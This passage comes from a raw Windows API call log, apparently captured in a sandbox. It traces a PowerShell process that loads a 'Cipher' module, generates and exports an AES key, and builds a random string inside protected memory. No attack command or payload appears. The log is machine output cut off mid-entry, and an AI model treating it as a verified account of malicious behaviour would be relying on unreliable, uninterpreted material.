lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.431] GetConsoleOutputCP () returned 0x1b5 [0133.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.432] GetConsoleOutputCP () returned 0x1b5 [0133.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.432] GetConsoleOutputCP () returned 0x1b5 [0133.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.432] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0133.433] GetConsoleOutputCP () returned 0x1b5 [0133.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0133.433] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.433] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a24c5c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a24c5c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0133.434] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.434] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0133.437] GetConsoleOutputCP () returned 0x1b5 [0133.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.438] GetConsoleOutputCP () returned 0x1b5 [0133.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.438] GetConsoleOutputCP () returned 0x1b5 [0133.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.439] GetConsoleOutputCP () returned 0x1b5 [0133.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.439] GetConsoleOutputCP () returned 0x1b5 [0133.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.439] GetConsoleOutputCP () returned 0x1b5 [0133.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.440] GetConsoleOutputCP () returned 0x1b5 [0133.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.440] GetConsoleOutputCP () returned 0x1b5 [0133.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.441] GetConsoleOutputCP () returned 0x1b5 [0133.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.441] GetConsoleOutputCP () returned 0x1b5 [0133.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.441] GetConsoleOutputCP () returned 0x1b5 [0133.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.441] GetConsoleOutputCP () returned 0x1b5 [0133.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.442] GetConsoleOutputCP () returned 0x1b5 [0133.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.442] GetConsoleOutputCP () returned 0x1b5 [0133.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.442] GetConsoleOutputCP () returned 0x1b5 [0133.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.444] GetConsoleOutputCP () returned 0x1b5 [0133.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.445] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0133.445] GetConsoleOutputCP () returned 0x1b5 [0133.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.445] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.446] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a26a78*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a26a78*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0133.446] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.447] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0133.451] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.451] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.451] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.451] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.451] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.451] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.452] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0133.453] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.453] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.453] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.453] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.454] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e021c8) returned 1 [0133.454] CryptGenKey (in: hProv=0x8e021c8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84db8) returned 1 [0133.454] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.454] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.454] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a30354, pdwDataLen=0x99ae894 | out: pbData=0x6a30354*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.454] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x2e4\x6a3\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0133.455] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.455] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.455] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.455] SysStringLen (param_1="") returned 0x8 [0133.455] SysStringLen (param_1="n") returned 0x8 [0133.455] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.455] SysStringLen (param_1="\xaeb4\x2f22\xd1d4\xee2d\x84f0\xa307\xe7d2\xc781") returned 0x8 [0133.455] SysStringLen (param_1="\xaeb4\x2f22\xd1d4\xee2d\x84f0\xa307\xe7d2\xc781") returned 0x8 [0133.455] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.456] SysStringLen (param_1="nh") returned 0x8 [0133.456] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.456] SysStringLen (param_1="\x801\x9a9c\x23c0\xff7c\xc610\x6e7\x295c\x128a") returned 0x8 [0133.456] SysStringLen (param_1="\x801\x9a9c\x23c0\xff7c\xc610\x6e7\x295c\x128a") returned 0x8 [0133.456] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.456] SysStringLen (param_1="nhf") returned 0x8 [0133.456] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.456] SysStringLen (param_1="\xa5d2\x2494\x67ed\xe3a4\x2ce1\x61bc\x41f5\xefbf") returned 0x8 [0133.456] SysStringLen (param_1="\xa5d2\x2494\x67ed\xe3a4\x2ce1\x61bc\x41f5\xefbf") returned 0x8 [0133.456] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.456] SysStringLen (param_1="nhfH") returned 0x8 [0133.456] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.457] SysStringLen (param_1="\x8dea\xae75\x1177\xc914\x301\x825e\x4f0\xea75") returned 0x8 [0133.457] SysStringLen (param_1="\x8dea\xae75\x1177\xc914\x301\x825e\x4f0\xea75") returned 0x8 [0133.457] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.457] SysStringLen (param_1="nhfHQ") returned 0x8 [0133.457] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.457] SysStringLen (param_1="\xdf27\x1440\xf3fb\x3851\x71e5\x3137\x7a30\x3047") returned 0x8 [0133.457] SysStringLen (param_1="\xdf27\x1440\xf3fb\x3851\x71e5\x3137\x7a30\x3047") returned 0x8 [0133.457] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.457] SysStringLen (param_1="nhfHQB") returned 0x8 [0133.457] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.457] SysStringLen (param_1="\xf179\x24c8\x8556\x22d2\x6b04\x6506\xefb4\x7c59") returned 0x8 [0133.457] SysStringLen (param_1="\xf179\x24c8\x8556\x22d2\x6b04\x6506\xefb4\x7c59") returned 0x8 [0133.457] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.457] SysStringLen (param_1="nhfHQBk") returned 0x8 [0133.457] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.457] SysStringLen (param_1="\xbaf5\xb6bb\x19e6\x56c4\x7c37\xc3e4\xae7c\x3f79") returned 0x8 [0133.458] SysStringLen (param_1="\xbaf5\xb6bb\x19e6\x56c4\x7c37\xc3e4\xae7c\x3f79") returned 0x8 [0133.458] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.458] SysStringLen (param_1="nhfHQBk9") returned 0x8 [0133.458] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.458] SysStringLen (param_1="嵽ⱑ刜쫬仢૷ﲯ뚅") returned 0x8 [0133.458] SysStringLen (param_1="嵽ⱑ刜쫬仢૷ﲯ뚅") returned 0x8 [0133.458] SysStringLen (param_1="嵽ⱑ刜쫬仢૷ﲯ뚅") returned 0x8 [0133.458] SysStringLen (param_1="嵽ⱑ刜쫬仢૷ﲯ뚅") returned 0x10 [0133.458] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.458] SysStringLen (param_1="nhfHQBk9dⱻ⅔쯪訢Ṣ륔虖") returned 0x10 [0133.459] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.459] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x8773\xe023\x6154\x54d3\x67ce\xfa59\x5214\x4bf") returned 0x10 [0133.459] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x8773\xe023\x6154\x54d3\x67ce\xfa59\x5214\x4bf") returned 0x10 [0133.459] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.459] SysStringLen (param_1="nhfHQBk9dR⅔쯪訢Ṣ륔虖") returned 0x10 [0133.459] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.459] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x430f\xbaa9\x39fd\x21ba\x5ec9\x8a91\x6329\x426") returned 0x10 [0133.459] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x430f\xbaa9\x39fd\x21ba\x5ec9\x8a91\x6329\x426") returned 0x10 [0133.459] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.459] SysStringLen (param_1="nhfHQBk9dRy쯪訢Ṣ륔虖") returned 0x10 [0133.459] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.459] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\xff23\xa98d\x1059\xdfd1\x1f45\xbcf0\xb820\x6f53") returned 0x10 [0133.459] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\xff23\xa98d\x1059\xdfd1\x1f45\xbcf0\xb820\x6f53") returned 0x10 [0133.459] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.459] SysStringLen (param_1="nhfHQBk9dRyc訢Ṣ륔虖") returned 0x10 [0133.459] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.459] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x1b87\x70ac\x8447\xf95b\xbfef\xaa41\x34b5\x212f") returned 0x10 [0133.459] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x1b87\x70ac\x8447\xf95b\xbfef\xaa41\x34b5\x212f") returned 0x10 [0133.460] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.460] SysStringLen (param_1="nhfHQBk9dRycLṢ륔虖") returned 0x10 [0133.460] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.460] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x4057\xc105\xf5e2\x6e85\xed40\x4e2\xdfe4\xe2c7") returned 0x10 [0133.460] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x4057\xc105\xf5e2\x6e85\xed40\x4e2\xdfe4\xe2c7") returned 0x10 [0133.460] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.460] SysStringLen (param_1="nhfHQBk9dRycLR륔虖") returned 0x10 [0133.460] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.460] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\xb800\x169f\x8b6\xe9e9\xbccf\xf4d8\x809c\x466f") returned 0x10 [0133.460] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\xb800\x169f\x8b6\xe9e9\xbccf\xf4d8\x809c\x466f") returned 0x10 [0133.460] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.460] SysStringLen (param_1="nhfHQBk9dRycLRX虖") returned 0x10 [0133.460] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.460] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\xad31\xaf42\xc70f\x4bf0\x16f7\x4864\x3e9f\xdffb") returned 0x10 [0133.460] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\xad31\xaf42\xc70f\x4bf0\x16f7\x4864\x3e9f\xdffb") returned 0x10 [0133.460] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.460] SysStringLen (param_1="nhfHQBk9dRycLRXn") returned 0x10 [0133.460] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.461] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8") returned 0x10 [0133.461] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8") returned 0x10 [0133.461] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8") returned 0x10 [0133.461] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8") returned 0x18 [0133.461] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.461] SysStringLen (param_1="nhfHQBk9dRycLRXnr趣㬈倰௝쇨䍨末") returned 0x18 [0133.461] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.461] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x5de4\xe628\x3944\x398e\x98d9\xd82a\x991\x6eb0") returned 0x18 [0133.461] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x5de4\xe628\x3944\x398e\x98d9\xd82a\x991\x6eb0") returned 0x18 [0133.461] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.461] SysStringLen (param_1="nhfHQBk9dRycLRXnr/㬈倰௝쇨䍨末") returned 0x18 [0133.461] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.461] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x4e15\xc0bd\xf0d9\xed79\xde7d\x5276\xbc94\xfe47") returned 0x18 [0133.461] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x4e15\xc0bd\xf0d9\xed79\xde7d\x5276\xbc94\xfe47") returned 0x18 [0133.461] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.461] SysStringLen (param_1="nhfHQBk9dRycLRXnr/S倰௝쇨䍨末") returned 0x18 [0133.461] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.462] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x5b88\x6e82\x9c2d\xa7f0\x4f51\xb7ed\x850b\x5675") returned 0x18 [0133.462] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x5b88\x6e82\x9c2d\xa7f0\x4f51\xb7ed\x850b\x5675") returned 0x18 [0133.462] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | 